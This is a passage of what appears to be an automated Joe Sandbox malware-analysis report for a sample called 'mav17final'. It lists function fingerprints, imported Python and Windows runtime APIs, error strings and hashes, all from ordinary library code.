Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: ErrorLastOpenProcess
String ID: OpenProcess$automatically set for PID 0
API String ID: 919517065-2746090705
Opcode ID: 7c35501a303b2777f004bc09f587717ea65ef8e0d80bfceead6ee05c0336e9e1
Instruction ID: a523a5ab62dacb10ac720b3415f40dde56d5bff3398fc4406a8c18cc43d58b50
Opcode Fuzzy Hash: 7c35501a303b2777f004bc09f587717ea65ef8e0d80bfceead6ee05c0336e9e1
Instruction Fuzzy Hash: E3F04F11F195C682EF698F6A689803956D5AFA87F4F441034DB0E86794EE1CE8978700

Function 00007FF8B9F6D9D4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FF8B9F6DA03
PySys_Audit.PYTHON311 ref: 00007FF8B9F6DA25

Part of subcall function 00007FF8B9F62980: memset.VCRUNTIME140 ref: 00007FF8B9F62A27
Part of subcall function 00007FF8B9F62980: PyObject_CallOneArg.PYTHON311 ref: 00007FF8B9F62A7E

Strings

O&O!, xrefs: 00007FF8B9F6D9F8
ctypes.call_function, xrefs: 00007FF8B9F6DA1E

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Arg_AuditCallObject_ParseSys_Tuplememset
String ID: O&O!$ctypes.call_function
API String ID: 886791329-313584727
Opcode ID: 17adec98670e9f6cdebf84fa662457cca95efbc4de64805adf32e68e07ce2538
Instruction ID: 1e0a1141133c6a50f72e6f2b33db6c7f660d25812d5358d4d5346ec38992bc03
Opcode Fuzzy Hash: 17adec98670e9f6cdebf84fa662457cca95efbc4de64805adf32e68e07ce2538
Instruction Fuzzy Hash: FF013972A18B8792EB508F15E8847AA67A4FB487E5F401136DA4D43724DF7CE145D710

Function 00007FF8B9F6DA68 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FF8B9F6DA97
PySys_Audit.PYTHON311 ref: 00007FF8B9F6DAB9

Part of subcall function 00007FF8B9F62980: memset.VCRUNTIME140 ref: 00007FF8B9F62A27
Part of subcall function 00007FF8B9F62980: PyObject_CallOneArg.PYTHON311 ref: 00007FF8B9F62A7E

Strings

O&O!, xrefs: 00007FF8B9F6DA8C
ctypes.call_function, xrefs: 00007FF8B9F6DAB2

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Arg_AuditCallObject_ParseSys_Tuplememset
String ID: O&O!$ctypes.call_function
API String ID: 886791329-313584727
Opcode ID: 956f25cfe963604cb9d4e30e000f0088442d622793c0436951a4906829bed983
Instruction ID: 599dd2d3dfa26e61f875f645cbf8e09c3fb24fb98a1a5bfeefde87ce13a0c665
Opcode Fuzzy Hash: 956f25cfe963604cb9d4e30e000f0088442d622793c0436951a4906829bed983
Instruction Fuzzy Hash: A3011B72A1CF8792E7508F19E8847A967A4FB487E6F401136EA4C47764DF7CE145C710

Function 00007FF8B9F62F60 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FF8B9F67CC5
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F67CDF

Strings

_type_ must have storage info, xrefs: 00007FF8B9F67CB4
_type_ must be a type, xrefs: 00007FF8B9F62FA5

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: DeallocErr_String
String ID: _type_ must be a type$_type_ must have storage info
API String ID: 1259552197-214983684
Opcode ID: f9c93959e9af95d6c9b4c14054f54ac853c0c588ad50044a4a2a3fec31618313
Instruction ID: 248004d11a629550a86b7866b16a88fbace45ebb405318a0bddb0ccc721550d5
Opcode Fuzzy Hash: f9c93959e9af95d6c9b4c14054f54ac853c0c588ad50044a4a2a3fec31618313
Instruction Fuzzy Hash: E301FBB5F19B8285EE549F2DD4402B822A0AF4ABF2F54A131DB0D923A5DF7CA484C301

Function 00007FF8B9F6E7AC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FF8B9F6E7E9

Strings

cannot be converted to pointer, xrefs: 00007FF8B9F6E7DF

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_String
String ID: cannot be converted to pointer
API String ID: 1450464846-3065012988
Opcode ID: ba69f6be1e03f64db6319ffa1c479f40c92e1bf7f208d3a0c57e532b4c3c8d90
Instruction ID: 25aee3dce1e9d636eda6a49f36fb0d98145df888ed22e6d369dea0764e48a182
Opcode Fuzzy Hash: ba69f6be1e03f64db6319ffa1c479f40c92e1bf7f208d3a0c57e532b4c3c8d90
Instruction Fuzzy Hash: 0A01FF62A09B8695EA548F29F85433827A1EF49FE6F18A031DB5D47354DE2CE494C700

Function 00007FF8B9F6B1F8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

PyCallable_Check.PYTHON311 ref: 00007FF8B9F6B210
PyErr_SetString.PYTHON311 ref: 00007FF8B9F6B22B
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6B252

Strings

the errcheck attribute must be callable, xrefs: 00007FF8B9F6B221

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Callable_CheckDeallocErr_String
String ID: the errcheck attribute must be callable
API String ID: 3907376375-3049503998
Opcode ID: 40a5e4c9387a9eacadc56f8a50b5cb35d6fcf5bb7bd3e5eec0ef331718cf67ff
Instruction ID: 3355ef21b50d20106e24a9c7c459dd61e7b8b6f244909cfbc1455bdb3a3f990b
Opcode Fuzzy Hash: 40a5e4c9387a9eacadc56f8a50b5cb35d6fcf5bb7bd3e5eec0ef331718cf67ff
Instruction Fuzzy Hash: 28F04422A0CEC281EE998FBDF95413823A0BF89BF6F589131CB5D46354DE2CD495C300

Function 00007FF8BA242630 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 28COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8BA2469C0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF8BA2425CE), ref: 00007FF8BA2469CE

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA24266E

Strings

MOC, xrefs: 00007FF8BA242648
RCC, xrefs: 00007FF8BA242640
csm, xrefs: 00007FF8BA242650

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: abortterminate
String ID: MOC$RCC$csm
API String ID: 661698970-2671469338
Opcode ID: e63037d86fd6ed08c01758bd2d278b6a49b1453d2f75febe4acf0c3d16fc865e
Instruction ID: 720875cf72d265a6042c164f850b8f6405881dbde24945ceb9ba7e24f768d97f
Opcode Fuzzy Hash: e63037d86fd6ed08c01758bd2d278b6a49b1453d2f75febe4acf0c3d16fc865e
Instruction Fuzzy Hash: D2F04932918607D2E750AF6AE28116836A5FB88FC4F0991B1DF4806296CF7CE4A0DB41

Function 00007FF8B9F69A20 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FF8B9F69A4E
PyLong_AsVoidPtr.PYTHON311 ref: 00007FF8B9F69A5B
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F69A64

Strings

integer expected, xrefs: 00007FF8B9F69A44

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_$Long_OccurredStringVoid
String ID: integer expected
API String ID: 1621529885-2140524511
Opcode ID: 7b49f154c6c6e067b1201768131b658a8a7bf5851dad34e5bb971b0d47541ff1
Instruction ID: 8b80de73f574404504a23a8c9ecce0375d37e1d99a7452c35f7b613932026b30
Opcode Fuzzy Hash: 7b49f154c6c6e067b1201768131b658a8a7bf5851dad34e5bb971b0d47541ff1
Instruction Fuzzy Hash: A7F03A25B08BC691EE448F5AE58427967A1EF4AFF6F18A030DB0E4B365DE2CD498C300

Function 00007FF8B90A120C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

PyLong_AsUnsignedLongLong.PYTHON311(?,?,00000006,00007FF8B90A0080), ref: 00007FF8B90A1219
PyErr_Occurred.PYTHON311(?,?,00000006,00007FF8B90A0080), ref: 00007FF8B90A1222
PyErr_SetString.PYTHON311(?,?,00000006,00007FF8B90A0080), ref: 00007FF8B90A5AD1

Strings

Value too large for uint32_t type, xrefs: 00007FF8B90A5AC7

Memory Dump Source

Source File: 00000002.00000002.2072699078.00007FF8B9091000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8B9090000, based on PE: true

Associated: 00000002.00000002.2072666393.00007FF8B9090000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2072745005.00007FF8B90A8000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2072745005.00007FF8B90AC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2072810626.00007FF8B90B4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2072844987.00007FF8B90B5000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9090000_mav17final.jbxd

Similarity

API ID: Err_Long$Long_OccurredStringUnsigned
String ID: Value too large for uint32_t type
API String ID: 944333170-1712686559
Opcode ID: 9bd35320a0081bffd2fdba9bc7a0431c058ebd7055e0bc2aeb8b7046bc9156ca
Instruction ID: 0eb8baa7ae5d391c9bc979e2792e3977eeeb9c6526923214d51bcfd03ad31451
Opcode Fuzzy Hash: 9bd35320a0081bffd2fdba9bc7a0431c058ebd7055e0bc2aeb8b7046bc9156ca
Instruction Fuzzy Hash: 42F01C71B0CA8785EF505F6DF4841792364AF58BE8F189434DB0E8A365DE3CE4AA8780

Function 00007FF8B9F68162 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 12COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON311 ref: 00007FF8B9F68165
PyMem_Free.PYTHON311 ref: 00007FF8B9F6816E
PyErr_Format.PYTHON311 ref: 00007FF8B9F68188

Strings

second item in _fields_ tuple (index %zd) must be a C type, xrefs: 00007FF8B9F6817E

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: DeallocErr_FormatFreeMem_
String ID: second item in _fields_ tuple (index %zd) must be a C type
API String ID: 3237669406-2717732800
Opcode ID: 6c5e0c61733740b2a0fd8058cc8b9152b4a417e0ab55625c6ded04eac5423bae
Instruction ID: 543749af3d3939e4a0385413f5e3bbadc4ff790acfb8fca848f9604334d2048f
Opcode Fuzzy Hash: 6c5e0c61733740b2a0fd8058cc8b9152b4a417e0ab55625c6ded04eac5423bae
Instruction Fuzzy Hash: 8FE04C65A0CFC392FA949F2DE8540382760AF86FF6B141231DA1E527B0DE7CA549D205

Function 00007FF8BA24A058 Relevance: 6.2, APIs: 4, Instructions: 193COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8BA24C78C: DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24C81D
Part of subcall function 00007FF8BA24C78C: DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24C856
Part of subcall function 00007FF8BA24C78C: DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24CB83

DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24A1B3
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24A212
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24A244
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24A254

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: 648336d396e82ff845145f22116d02ab074a94aa94e21a1e761fb2f6b175ab31
Instruction ID: fa670d6b7e2460978671fe916f83814e08fafcdd78a511f4514500fa4f2735d0
Opcode Fuzzy Hash: 648336d396e82ff845145f22116d02ab074a94aa94e21a1e761fb2f6b175ab31
Instruction Fuzzy Hash: 8F916632E18A9399FB118B69D8403BC3BB1BB04B88F5481B6DF4D27695DF7DA845E340

Function 00007FF8BA24A814 Relevance: 6.1, APIs: 4, Instructions: 133COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00007FF8BA24A8C6
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24A8D6
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24A8F3

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: Name::operator+$NameName::
String ID:
API String ID: 168861036-0
Opcode ID: 98efd56155e24b1ceec94087ea0ccb087ffd731ce7e45ec66b02000ff67e82c1
Instruction ID: 1cd373dbd38b0f7c56bf0a149ba1c84216894864d1f1b1e7bdb3d63d6ddb80e0
Opcode Fuzzy Hash: 98efd56155e24b1ceec94087ea0ccb087ffd731ce7e45ec66b02000ff67e82c1
Instruction Fuzzy Hash: 30514472A28A5689FB118F29EA417BC37A1BB44F88F5884B1DF5E07795DF39E440E700

Function 00007FF8BA24CC48 Relevance: 6.1, APIs: 4, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8BA24E72C: Replicator::operator[].LIBVCRUNTIME ref: 00007FF8BA24E786

Part of subcall function 00007FF8BA24C78C: DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24C81D
Part of subcall function 00007FF8BA24C78C: DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24C856
Part of subcall function 00007FF8BA24C78C: DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24CB83

DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24CCC6
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24CCD5
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24CD52
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24CD61

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: Name::operator+$Replicator::operator[]
String ID:
API String ID: 3863519203-0
Opcode ID: 59a8e1a8bea4fa0d3053ac7b282f3cf586ef513a0d49dabd13085b0ba4a6c699
Instruction ID: d9639c8c6d767f2fd53c9d5f45070cd4e3a18faafae50e43425925752dbabda2
Opcode Fuzzy Hash: 59a8e1a8bea4fa0d3053ac7b282f3cf586ef513a0d49dabd13085b0ba4a6c699
Instruction Fuzzy Hash: 5E411072A08B9689EB01CF68D8413AC3BB0BB49B88F548076DF4D67799DF78E841D750

Function 00007FF8B9F6B42C Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

PyMem_Malloc.PYTHON311 ref: 00007FF8B9F6B448
memcpy.VCRUNTIME140 ref: 00007FF8B9F6B461
PyMem_Free.PYTHON311 ref: 00007FF8B9F6B480
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6B4B7

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Mem_$DeallocFreeMallocmemcpy
String ID:
API String ID: 1346496523-0
Opcode ID: 8c08fdf6c3f6743b583b35e04fc598e2fc29906b9b2b5698a8cb90300fdd1926
Instruction ID: ff82498dc8d87c83796d8c6481478bbc68d93b9e44c5cd9020139c2790cafaa2
Opcode Fuzzy Hash: 8c08fdf6c3f6743b583b35e04fc598e2fc29906b9b2b5698a8cb90300fdd1926
Instruction Fuzzy Hash: F5215B62A1DB8282EB589F69E84003827A0FF49FE6B185535DB0D07754EF3CE461C340

Function 00007FF8B9F649BC Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PyDescr_NewGetSet.PYTHON311 ref: 00007FF8B9F649E9
PyDict_SetItemString.PYTHON311 ref: 00007FF8B9F64A00
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6907F
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F69097

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dealloc$Descr_Dict_ItemString
String ID:
API String ID: 975051370-0
Opcode ID: cbfa8e76cbb37faade4b4752a761ba53e7deef88f0e4638b9d9c9114bc06fd37
Instruction ID: 4bb4e3fa2a3bf0d196c9bd0f3666b8f746771ce727af8b00d4d1e3e3306e1513
Opcode Fuzzy Hash: cbfa8e76cbb37faade4b4752a761ba53e7deef88f0e4638b9d9c9114bc06fd37
Instruction Fuzzy Hash: 60114C21A0DB8285EE549F2AE95033966A0EF4ABF2F086130DF4E43B95DF3CD491C300

Function 00007FF8B9F615F4 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B9F622B0: _PyObject_MakeTpCall.PYTHON311 ref: 00007FF8B9F62301

PyWeakref_NewProxy.PYTHON311(?,?,00000000,00007FF8B9F6156A), ref: 00007FF8B9F6163E
PyDict_SetItem.PYTHON311(?,?,00000000,00007FF8B9F6156A), ref: 00007FF8B9F6165F
_Py_Dealloc.PYTHON311(?,?,00000000,00007FF8B9F6156A), ref: 00007FF8B9F66A71
_Py_Dealloc.PYTHON311(?,?,00000000,00007FF8B9F6156A), ref: 00007FF8B9F66A80

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dealloc$CallDict_ItemMakeObject_ProxyWeakref_
String ID:
API String ID: 1512266493-0
Opcode ID: edfa2a0c717579e9911386e870fa1321e468c4d2dd0d8facd930d0c933b2ac38
Instruction ID: f6fa5ef99abaed462bd1273c119c72226c661bbc9498ffe5b75854219fe23717
Opcode Fuzzy Hash: edfa2a0c717579e9911386e870fa1321e468c4d2dd0d8facd930d0c933b2ac38
Instruction Fuzzy Hash: 42114C26A09BC285EA548F2AE8400797BA4FF4ABE6B1C9135DF5E077A5CE3CE451C340

Function 00007FF8B90C9B99 Relevance: 6.0, APIs: 4, Instructions: 45threadCOMMON

Download Yara Rule

APIs

PyThread_free_lock.PYTHON311 ref: 00007FF8B90C9BEF
PyMem_Free.PYTHON311 ref: 00007FF8B90C9C17
_Py_Dealloc.PYTHON311 ref: 00007FF8B90C9C1F

Memory Dump Source

Source File: 00000002.00000002.2072911922.00007FF8B90C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B90C0000, based on PE: true

Associated: 00000002.00000002.2072881040.00007FF8B90C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072963464.00007FF8B90CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072997412.00007FF8B90D1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2073022810.00007FF8B90D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b90c0000_mav17final.jbxd

Similarity

API ID: DeallocFreeMem_Thread_free_lock
String ID:
API String ID: 2783890233-0
Opcode ID: 5aeb15387b95166676224402c5d5f2316a130d4eb9e2bcf5365a9fe41ac904a5
Instruction ID: 5da973be86538b23f33de9fad92c686fde847ee6a4c2606d2ee50e19b143c1bd
Opcode Fuzzy Hash: 5aeb15387b95166676224402c5d5f2316a130d4eb9e2bcf5365a9fe41ac904a5
Instruction Fuzzy Hash: 6A114C32A0D68295EE1A9F69D99437C3375AF85B85F084031CB5E47693CF2CD85AC310

Function 00007FF8B90781C0 Relevance: 6.0, APIs: 4, Instructions: 37COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(?,?,?,00007FF8B9071966), ref: 00007FF8B90781DA
GetLastError.KERNEL32(?,?,?,00007FF8B9071966), ref: 00007FF8B90781E8
CloseHandle.KERNEL32(?,?,?,00007FF8B9071966), ref: 00007FF8B907820B
CloseHandle.KERNEL32(?,?,?,00007FF8B9071966), ref: 00007FF8B9078223

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CloseHandle$ErrorLastOpenProcess
String ID:
API String ID: 3379443537-0
Opcode ID: 6b546dbecff8f1a26dce1183042867b9cf570910ff2c42ef26f65990958e394d
